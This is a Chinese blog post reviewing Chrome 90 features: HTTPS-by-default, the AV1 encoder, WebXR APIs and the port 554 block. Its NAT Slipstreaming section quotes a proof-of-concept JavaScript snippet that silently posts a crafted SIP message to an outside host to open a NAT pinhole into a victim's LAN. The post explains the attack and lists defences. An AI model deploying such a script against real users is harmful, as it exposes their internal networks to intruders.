了不起的Chrome浏览器（2）：Chrome 90将默认使用HTTPS，Web更安全了

摘要： 4月13日正式发布的Chrome 90，带来了哪些有意思的新特性呢？

背景

十多年来，Web技术突飞猛进，这其中，Chrome功劳是最大的，可以说没有之一。身处大前端这个领域，了解Chrome可以帮助我们理解整个行业的发展趋势。

其实，我一直都挺关注Chrome的，也写过一些关于Chrome的博客：

写Chrome 89博客的过程中，我意识到，关于Chrome的写作，我可以做得更加专注、更加深入、更加体系化一些。这样，一方面我可以提高专业能力和写作能力，另一方面也可以提高影响力。我也希望自己可以在5年之内出版一本关于Chrome的书，毕竟出书是每一个写作者最高的追求。

因此，我将以《了不起的Chrome浏览器》为题，对Chrome的每一个版本进行详细解读，同时也会深入去介绍Chrome各方面的细节，分享一些自己一些并不成熟的思考，欢迎大家关注寒雁Talk公众号。

TL;TR

详细解读

A safer default for navigation: HTTPS

在浏览器地址栏输入URL，然后回车，之后发生了什么？这是一个非常经典的面试题。

Chrome 90开始，将会默认使用HTTPS协议打开URL，让这个面试题的答案变了一点点，喜欢背面试题的同学可以重点关注一下。。。

当我们输入example.com，Chrome 90之前的版本会默认访问http://example.com，服务端如果配置了重定向，则会重定向到https://example.com；而Chrome 90会默认访问https://example.com。两者具体的不同点如下图所示：

眼见为实，不妨简单测试一下（果然翻车了）。PS：测试之前需要：清除浏览数据，否则Chrome第二次访问时会默认使用HTTPS。

当我使用Chrome 89打开kiwenlau.com时，会发现第一个请求使用的是HTTP协议（http://kiwenlau.com/），返回状态301，重定向到https://kiwenlau.com/，之后所有的请求使用的都是HTTPS协议：

当我使用Chrome 90打开kiwenlau.com时，会发现第一个请求居然使用的依然还是是HTTP协议（http://kiwenlau.com/），而不是HTTPS协议，这就很尴尬了：

我本来以为这是BUG，于是给Chrome团队提了一个issue：

根据回复，Chrome团队还在对这个特性进行灰度，如果希望开启这个特性，可以到chrome://flags把#omnibox-default-typed-navigations-to-https设为”Enabled”：

严格来讲，只有第一次访问kiwenlau.com的第一个请求使用了HTTP协议，貌似也没什么大不了的。不过，要知道HTTP协议本身是明文传输（其实HTTP/2也没有要求非得加密，只是所有的浏览器都要求HTTP/2必须加密，这样的话，只有HTTPS才能升级HTTP/2）的，这意味着网络中每一个节点都是能查看并且篡改HTTP的通信内容，想想是不是有点后怕，对于那些喜欢访问奇奇怪怪网站的同学。

如果使用Charles抓包来对比一下，可以发现，对于HTTP请求，Contents是明文：

对于HTTPS请求，Content是加密后的，看起来是乱码：

当然，对于支持HTTPS的站点，省去了HTTP到HTTPS重定向这一步，也是可以提高访问性能的，不过这个问题倒是其次的，毕竟只有一个HTTP请求，而且很多网站本来就很慢了，不在乎这几十毫秒。。。

Chrome一直在推进HTTPS协议在业界的应用，关于这一点，我之后写一篇博客详述（挖坑）。

AV1 Encoder

AV1的全称为AOMedia Video 1，是一个开源、免费的视频编码格式，编码效率更高。根据Netflix、Facebook的数据，AV1相对于VP9，可以将压缩效率提升20% ~ 30%左右。爱奇艺也在去年启用了AV1格式，可以节省20%的带宽。Youtube最新定制的视频芯片（VCU，Video Coding Unit）Argos也支持了AV1。

对于视频类应用来说，昂贵宽带费用一直是非常沉重的负担，这也是一些知名长视频网站一直无法盈利的关键原因之一（另外一个关键因素是内容成本）。根据爱奇艺最新的2020年财报，其2020年净亏损70亿人民币，其中带宽开支高达24亿人民币，占了亏损的34.3%。对于爱奇艺这种视频类应用来说，使用AV1这种更高效的视频编码格式，有利于减少宽带费用。

WebRTC的全称为Web Real-Time Communication，用于在Web应用中实现实时的视频和语音通信。其实WebRTC已经是个已经有10年历史的技术了，疫情的爆发促进了视频会议需求的爆发，使得WebRTC变得更加重要了。

Chrome 90支持了AV1 Encoder，用于优化WebRTC视频通信：提升压缩效率，减少带宽使用；支持30kbps以及更低码率的视频，服务低带宽的用户；优化了屏幕共享效率。

疫情在全球范围内爆发已经1年多了，这极大地增强了用户对于视频会议、直播的需求，AV1 Encoder这样的技术进步也可以帮助大家渡过现在的难关，这也是技术最大的意义。

AV1是由AOMedia（Alliance for Open Media）开发的，旨在取代Google开发的VP9，同时与需要收取专利费的H.263展开竞争。AOMedia其实也不是外人，Google是其核心成员，且AV1也是由Google主导开发的。作为程序员，不得不服Google对于技术进步推进是全方位的，哪里都能看到它的身影。关于Google是如何推进视频编码格式技术的进步，这又是另外一个话题了，我之后写一篇博客详述（再次挖坑）。

对于使用WebRTC开发Web视频会议应用的同学，不妨试用一下AV1 Encoder，也可以给大家分享一下到底效果怎么样。

WebXR Depth API和WebXR AR Lighting Estimation

WebXR Depth API和WebXR AR Lighting Estimation都是WebXR相关的特性更新，WebXR Depth API可以用来获取用户的设备与现实环境中物体的距离，WebXR AR Lighting Estimation可以用来获取环境的光线情况。

估计绝大部分人都没用过WebXR，所以还是先了解一下WebXR是啥…

WebXR其实就是在Web上开发AR（Augmented Reality）和VR（Virtual Reality）应用的API，AR和VR都是以字母R结尾，所以就取了个XR的名字。

在WebXR Experiments，有一些WebXR的示例，可以让大家实际感受一下WebXR能干嘛。

比如，Sodar就可以用来测量2m社交距离：

还有一个没有正式发布的示例Picturescape，看起来还挺有意思的，不过没太看懂具体是做什么的，等正式发布之后可以再看看：

从WebXR的示例来看，目前WebXR所实现的应用还比较简单，毕竟VR和AR技术本身目前的应用也比较简单粗糙。我最感兴趣的还是其在游戏领域的应用，《头号玩家》中的游戏体验什么时候可以实现呢？拭目以待！

Feature: Block HTTP port 554

Chrome 90屏蔽了554端口，这是为了缓解NAT Slipstream 2.0攻击。注意，这里用的词是缓解而不是解决，Chrome没法从根本上阻止NAT Slipstream 2.0攻击。

NAT Slipstream是去年10月底由Samy Kamkar发现的一种非常巧妙也非常危险的攻击方式，后来他又与Armis研究员Ben Seri和Gregory Vishnipolsky发现了新一版的NAT Slipstream 2.0的攻击方式。

简单来说，受害者只需要访问黑客的网站，该网站嵌入了黑客的JavaScript脚本，黑客就可以绕开受害者所在的局域网的防火墙，访问受害者所在的局域网中的任意TCP/UDP服务。

大家不妨通过NAT Slipstreaming 2.0攻击演示这个视频感受一下整个攻击流程是怎样的。

受害者位于局域网中，局域网中连接的设备有受害者的智能手机、打印机、网络摄像头、打印机以及路由器，理论上局域网中的设备都是受到防火墙的保护的。而黑客位于Internet中，理论上是无法绕过防火墙直接访问局域网中的设备，比如打印机和网络摄像头。

受害者使用智能手机访问了黑客所提供的链接，攻击者成功绕过防火墙，获取打印机和网络摄像头的访问权限，远程给打印机发送打印任务，并且通过默认的账户密码远程访问网络摄像头。

如果你家的摄像头可以被黑客查看，是不是很可怕，赶紧把默认密码改了吧！

当然，如果打印机和网络摄像头都设置了比较严格的密码的话，攻击者也是没法访问它们的。所以，局域网中的设备也是必须做好安全防范的。但是这并不是重点，重点是攻击者绕过了防火墙，这又是怎么做到的呢？

Samy Kamkar的原文很长，所涉及的技术细节非常多，其实最关键的就是以下这段JavaScript代码：

// our sip message
var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' +
             'Contact: <sip:samy@192.168.0.109:1234;transport=TCP>\r\n\r\n'

// load form in an iframe so user doesn't see it
var iframe = document.createElement('iframe')
iframe.name = 'iframe'
iframe.style.display = 'none' // hide the iframe

// create form
var form = document.createElement('form')
form.setAttribute('target', 'iframe') // load into iframe
form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs
form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060
form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded

var textarea = document.createElement('textarea')
textarea.setAttribute('name', 'textname') // required
textarea.innerHTML = sipmsg
form.appendChild(textarea)
document.body.appendChild(iframe)
document.body.appendChild(form)
form.submit()

这段代码，其实就是发送了一个特殊定制的POST请求，而这个POST请求由于体积过大，会被分成多个TCP包。从代码中可知，这些TCP包所请求的端口是5060，这恰好是SIP协议所使用的端口。黑客可以通过定制POST请求的大小来控制TCP包，让其中一个TCP包恰好会被NAT设备理解为SIP REGISTER包，NAT设备看到这个包，则会为攻击者打开一个公网端口，并且转发到攻击者所需要访问的内网TCP服务，代码中为192.168.0.109:1234。这样，黑客就可以通过NAT上的公网端口来访问内网服务192.168.0.109:1234。NAT设备则傻傻地帮黑客转发请求。

这种攻击方式非常有创意，涉及的技术细节非常多，我之后写一篇博客详细解释一下（又挖了一个坑）。当然，这种攻击方式也非常危险，Samy Kamkar真是个天才，还好他是白帽黑客。

Chrome屏蔽端口这种做法其实也是治标不治本，黑客确实没办法给所屏蔽端口发送请求了，但是如果受害者不更新浏览器的话，还是会被攻击。要从根本上解决这个问题，还是需要NAT设备以及防火墙来想办法。

物联网时代，家里联网的设备越来越多了，作为用户，我们还是需要做好保护措施：

  • 更新最新的Chrome浏览器；
  • 加强局域网设备的安全保护措施，比如设置更加严格的密码；
  • 如果不需要的话，关闭NAT设备的ALG（Application Level Gateway）；
  • 避免访问未知的URL；

当然，你可以选择断网，远离危险的互联网世界，哈哈:(

总结

在我看来，Chrome 90最重要的更新，是默认使用HTTPS协议，其实是非常小的改动，但是还是蛮重要的。可惜这个特性还在灰度发布过程中，并没有真正发布。HTTP裸奔的时代终于快要结束了，站在现在的角度去看过去，一想到以前Web居然是基于明文传输协议的，感觉那是一个刀耕火种的时代。当然，那也是一个伟大的时代，Web的诞生本身就是一件改变人类文明的事情，我们都是站在巨人的肩膀上。

另外，本文还介绍了AV1、WebXR以及NAT Slipstreaming相关的特性，重点放在了背景知识的介绍，这是因为这些特性本身对绝大多数开发者并没有什么价值，且比较枯燥无味，没有相关应用场景的同学基本上不会用到这些特性，不过这些关于这些特性的背景知识还是需要了解一下的，可以帮助我们更加全面的理解大前端的方方面面。《了不起的Chrome浏览器》之后的博客，我也会延续这种写作风格，希望大家能够喜欢。

我在文章后面裂了非常多的参考资料，这是我读研的时候写论文养成的习惯，只要我写的内容有参考过的资料，我都会列出来，这个其实主要是为了方便我自己以后查阅，其次是分享给感兴趣的读者。其中，有一些高质量的内容我把字体加粗了，不妨重点关注一下。

在写作的过程中，我也发现了3个比较有意思的话题，是可以进一步展开的，第1点是关于Chrome对于HTTPS技术推广所做的事情，第2点是关于Google推动视频编码技术进步所做的贡献，第3点是NAT Slipstreaming，后面我也会分别写博客介绍，欢迎关注。

欢迎关注寒雁Talk公众号，关注《了不起的Chrome浏览器》系列博客，与我一起见证大前端的星辰大海！

参考资料

招聘

阿里巴巴业务平台事业部长期招聘P6及以上前端大佬，参与建设最前沿的阿里前端生态系统，推动行业技术发展，内推地址：hanyan.lk@alibaba-inc.com
​
欢迎大家关注我的微信公众号寒雁Talk。

关于Fundebug

Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java线上应用实时BUG监控。 自从2016年双十一正式上线，Fundebug累计处理了30亿+错误事件，付费客户有阳光保险、达令家、核桃编程、荔枝FM、微脉等众多品牌企业。欢迎大家免费试用！ 




版权声明:
转载时请注明作者KiwenLau以及本文地址：
https://kiwenlau.com/2021/04/26/chrome-90-introduction/

您的用户遇到BUG了吗？

体验Demo 免费使用